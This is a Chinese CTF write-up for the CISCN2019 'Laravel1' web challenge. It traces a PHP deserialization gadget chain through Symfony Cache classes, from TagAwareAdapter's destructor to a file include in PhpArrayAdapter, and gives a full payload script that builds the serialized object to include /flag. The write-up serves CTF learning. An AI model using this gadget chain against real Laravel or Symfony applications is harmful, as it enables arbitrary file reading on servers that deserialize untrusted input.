[CISCN2019 总决赛 Day1 Web4]Laravel1
这叫一分题,这叫一分题,这叫一分题?
我做疯了,又是赵总经典反序列化超级挖掘
反序列化
源码意思就是反序列化一个GET的payload,这个框架大大大,namespace一大堆
搜一下__destruct,搜出来一万个,放弃挣扎,开始看wp
可以找到一个名叫TagAwareAdapter类的__destruct函数,里面有一系列调用
public function invalidateTags(array $tags)
{
$ok = true;
$tagsByKey = [];
$invalidatedTags = [];
foreach ($tags as $tag) {
CacheItem::validateKey($tag);
$invalidatedTags[$tag] = 0;
}
if ($this->deferred) {
$items = $this->deferred;
foreach ($items as $key => $item) {
if (!$this->pool->saveDeferred($item)) {
unset($this->deferred[$key]);
$ok = false;
}
}
$f = $this->getTagsByKey;
$tagsByKey = $f($items);
$this->deferred = [];
}
$tagVersions = $this->getTagVersions($tagsByKey, $invalidatedTags);
$f = $this->createCacheItem;
foreach ($tagsByKey as $key => $tags) {
$this->pool->saveDeferred($f(static::TAGS_PREFIX.$key, array_intersect_key($tagVersions, $tags), $items[$key]));
}
$ok = $this->pool->commit() && $ok;
if ($invalidatedTags) {
$f = $this->invalidateTags;
$ok = $f($this->tags, $invalidatedTags) && $ok;
}
return $ok;
}
public function commit()
{
return $this->invalidateTags([]);
}
public function __destruct()
{
$this->commit();
}
一路调用到invalidateTags,这里面调用了一个pool对象的saveDeferred方法,看一下__construct
public function __construct(AdapterInterface $itemsPool, AdapterInterface $tagsPool = null, float $knownTagVersionsTtl = 0.15)
{
$this->pool = $itemsPool;
$this->tags = $tagsPool ?: $itemsPool;
$this->knownTagVersionsTtl = $knownTagVersionsTtl;
........
}
里面规定了pool需要是AdapterInterface这个接口的,所以得找个实现AdapterInterface这个接口的类的saveDeferred方法
(接口给我的直观感受类似于多继承)
找到类PhpArrayAdapter,其方法调用initialize,跟进,有一个include
public function saveDeferred(CacheItemInterface $item)
{
if (null === $this->values) {
$this->initialize();
}
return !isset($this->keys[$item->getKey()]) && $this->pool->saveDeferred($item);
}
private function initialize()
{
if (!file_exists($this->file)) {
$this->keys = $this->values = [];
return;
}
$values = (include $this->file) ?: [[], []];
if (2 !== \count($values) || !isset($values[0], $values[1])) {
$this->keys = $this->values = [];
} else {
list($this->keys, $this->values) = $values;
}
}
那么只要把flag include进来就好了,initialize还需要一个CacheItemInterface接口的参数,但是在利用过程中用不上,随便找一个类,构造如下payload
<?php
namespace Symfony\Component\Cache{
final class CacheItem{
}
}
namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;
class PhpArrayAdapter{
private $file='/flag';
}
class TagAwareAdapter{
private $deferred;
private $pool;
public function __construct(){
$this->deferred = array('z33' => new CacheItem());
$this->pool = new PhpArrayAdapter();
}
}
$a=new TagAwareAdapter();
echo urlencode(serialize($a));
}
?>
use和python的import as有点像,就是把Symfony\Component\Cache\CacheItem这么大一串可以只用最后的CacheItem来表示
我猜这个一分题大家真正实打实审出来的不多,大部分都是直接payload一把梭的吧。。。